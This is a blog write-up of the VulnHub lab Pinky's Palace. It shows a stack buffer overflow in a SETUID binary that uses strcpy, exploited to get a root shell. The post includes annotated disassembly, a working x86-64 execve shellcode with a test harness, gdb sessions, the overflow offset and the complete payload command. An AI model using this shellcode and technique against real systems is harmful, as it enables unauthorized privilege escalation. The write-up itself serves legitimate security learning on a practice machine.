I have concluded my last post with the achievement of local shell for the Pinky user, and the finding of a SETUID binary which was using strcpy and puts. It took me 4 or 5 hours to exploit it, I won’t deny it, but at the end it was rewarding.

The disassembled function looks like this:

0000000000000813 <main>:
 813:   55                              push   %rbp              # Save base pointer in the stack
 814:   48 89 e5                   mov    %rsp,%rbp         # Save the current stack pointer in the base pointer
 817:   48 83 ec 50               sub    $0x50,%rsp        # Allocate 80 bytes of space on the stack
 81b:   89 7d bc                    mov    %edi,-0x44(%rbp)  # Put argc at BasePointer - 68 (12 bytes left to the top of the stack) 
 81e:   48 89 75 b0               mov    %rsi,-0x50(%rbp)  # Put argv at BasePointer - 80 (top of the stack)
 822:   83 7d bc 02               cmpl   $0x2,-0x44(%rbp)  # Check if argc == 2
 826:   75 26                          jne    84e <main+0x3b>;  # If is not, exit()
 828:   48 8b 45 b0               mov    -0x50(%rbp),%rax  # Put argv in rax
 82c:   48 83 c0 08               add    $0x8,%rax         # Add 8 to rax
 830:   48 8b 10                     mov    (%rax),%rdx       # Move the content at *rax in rdx
 833:   48 8d 45 c0               lea    -0x40(%rbp),%rax  # Load address of BasePointer - 64 in rax
 837:   48 89 d6                     mov    %rdx,%rsi         # Put rdx in rsi (Rightmost argument of syscall)
 83a:   48 89 c7                     mov    %rax,%rdi         # Put rax in rdi (Leftmost argument of syscall)
 83d:   e8 fe fd ff ff                 callq  640 <strcpy@plt>; # Copy rdx in rax
 842:   48 8d 45 c0                lea    -0x40(%rbp),%rax  # Load address of BasePointer - 64 in rax
 846:   48 89 c7                     mov    %rax,%rdi         # Put rax in rdi (parameter of syscall)
 849:   e8 02 fe ff ff                callq  650 <puts@plt>;   # Print rax
 84e:   b8 00 00 00 00          mov    $0x0,%eax         # rax = 0
 853:   c9                                 leaveq                   # Epilogue
 854:   c3                                 retq

Now, not everything is completely clear and my interpretation of the assembly is just what I can understand from a first look. Another thing worth mentioning is that this is a 64-bit binary, therefore it follows the x64 calling convention. Now, the point is that the program uses strcpy, which does not do boundary checking, therefore it allows us to overflow the buffer and write in memory.

Last things to note include the fact that the binary is compiled with an executable stack and ASLR is disabled on the machine, this makes things much, much easier.

Anyway, the first step was for me to find a shellcode to execute. For this purpose, I used the one I found here. It is not too hard to write your own, but there is no need to reinvent the wheel in this case. I tested it first, to verify that it works on the specific machine:

#include <stdio.h>;
#include <string.h>;

int
main(void)
{
    char *shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
                      "\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";
    printf("strlen(shellcode)=%d\n", strlen(shellcode));
    ((void (*)(void))shellcode)();
    return 0;
}

This shellcode is 23 bytes.

It works well enough, so I started playing with Gdb, the first thing I wanted to do was trying to simply put the shellcode in memory, manually setting the rip to point to it, and verifying that the shell pops. Now, gdb won’t give me root shell, but it will just show me that the shellcode works once again, that the way it is placed in memory is correct and so on.

(gdb) disas main
Dump of assembler code for function main:
 0x0000555555554813 <+0>: push %rbp
 0x0000555555554814 <+1>: mov %rsp,%rbp
 0x0000555555554817 <+4>: sub $0x50,%rsp
 0x000055555555481b <+8>: mov %edi,-0x44(%rbp)
 0x000055555555481e <+11>: mov %rsi,-0x50(%rbp)
 0x0000555555554822 <+15>: cmpl $0x2,-0x44(%rbp)
 0x0000555555554826 <+19>: jne 0x55555555484e <main+59>
 0x0000555555554828 <+21>: mov -0x50(%rbp),%rax
 0x000055555555482c <+25>: add $0x8,%rax
 0x0000555555554830 <+29>: mov (%rax),%rdx
 0x0000555555554833 <+32>: lea -0x40(%rbp),%rax
 0x0000555555554837 <+36>: mov %rdx,%rsi
 0x000055555555483a <+39>: mov %rax,%rdi
 0x000055555555483d <+42>: callq 0x555555554640 <strcpy@plt>
 0x0000555555554842 <+47>: lea -0x40(%rbp),%rax
 0x0000555555554846 <+51>: mov %rax,%rdi
 0x0000555555554849 <+54>: callq 0x555555554650 <puts@plt>
 0x000055555555484e <+59>: mov $0x0,%eax
 0x0000555555554853 <+64>: leaveq 
 0x0000555555554854 <+65>: retq 
End of assembler dump.
(gdb) b *0x000055555555484e
Breakpoint 2 at 0x55555555484e


(gdb) run $(printf "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/pinky/adminhelper $(printf "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05")
1H/bin//shVST_j;X1

Breakpoint 2, 0x000055555555484e in main ()
(gdb)

At this point I want to look in memory and find the beginning of the shellcode.

(gdb) x /20x $rsp
0x7fffffffe420: 0xffffe558 0x00007fff 0xf7ad2fb5 0x00000002
0x7fffffffe430: 0xbb48f631 0x6e69622f 0x68732f2f 0x5f545356
0x7fffffffe440: 0x31583b6a 0x00050fd2 0x00000000 0x00000000
0x7fffffffe450: 0x55554860 0x00005555 0x555546a0 0x00005555
0x7fffffffe460: 0xffffe550 0x00007fff 0x00000000 0x00000000

I can see that the shellcode starts at 0x7fffffffe430, so I manually set rip to that value and continue the execution

(gdb) set $rip = 0x7fffffffe430
(gdb) continue
Continuing.
process 4313 is executing new program: /bin/dash
$ 

Everything works, but this is not a root shell, so now I need to do the same, without gdb.

The strategy is relatively easy: I run the binary with an argument of such format:

SHELLCODE + PADDING + ADDRESS_SHELLCODE

Now, the point is that we do not know exactly the address of the shellcode, but we can guess. Debugging with gdb shows the argument passed placed always around 0x7fffffffe3f0. Another thing we do not know exactly is how far is the return address of the main function from the buffer. This is relatively easy to get and without making any complex calculation, we can just fuzz a bit the program.

Constantly running it like:

./adminhelper $(python -c "print 'A'*N")

shows that the program crashes with a segfault after N=72 characters. The interesting bit is that trying with gdb the same test, we can see that after 72 characters, this happens:

(gdb) run $(python -c "print 'A'*72+'B'*4")
Starting program: /home/pinky/adminhelper $(python -c "print 'A'*72+'B'*4")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x00007f0042424242 in ?? ()
(gdb)

In other words, we can see that the B’s (42 in hex) start appearing on the address which was on the rip, meaning that it was that value to be saved as a return address. Now we know an approximate address for the shellcode, and we know the total length of the input, let’s compute and write the padding and we should be almost ready.

  • 23 bytes shellcode
  • 8 bytes return address
  • 72 bytes needed before the address
  • 49 bytes of padding

Now, to pad I decided (but it is not important) to use \x90 , the OPcode for the NOP instruction. Usually this could be placed before the actual shellcode to form a so-called NOP-sled, but in this case, I will just put them after.

The input looks like this:

\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x30\xe4\xff\xff\xff\x7f

So I launch the program

pinky@pinkys-palace:~$ ./adminhelper $(printf "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x30\xe4\xff\xff\xff\x7f")
1H/bin//shVST_j;X10
# whoami 
root
# ls /root -l
total 4
-rw-r--r-- 1 root root 207 Mar 5 2018 root.txt
# cat /root/root.txt
===========[!!!CONGRATS!!!]===========

[+] You r00ted Pinky's Palace Intermediate!
[+] I hope you enjoyed this box!
[+] Cheers to VulnHub!
[+] Twitter: @Pink_P4nther
Flag: 99975cfc5e2eb4c199d38d4a2b2c03ce

Success! Note that it might be needed in some cases to probe addresses around the one selected. The first time I have solved it I had to try 6 different addresses before getting the shell popped, since I got the address from an older session of gdb and apparently it changed.

Lesson learned after Pinky’s Palace 1

  • Improve ability with gdb and maybe even with radare2
  • Learn to script gdb with Python
  • If you are going to crack something, make sure to have decent wordlists before even trying.

For any correction, feedback or question feel free to drop a mail to security[at]coolbyte[dot]eu.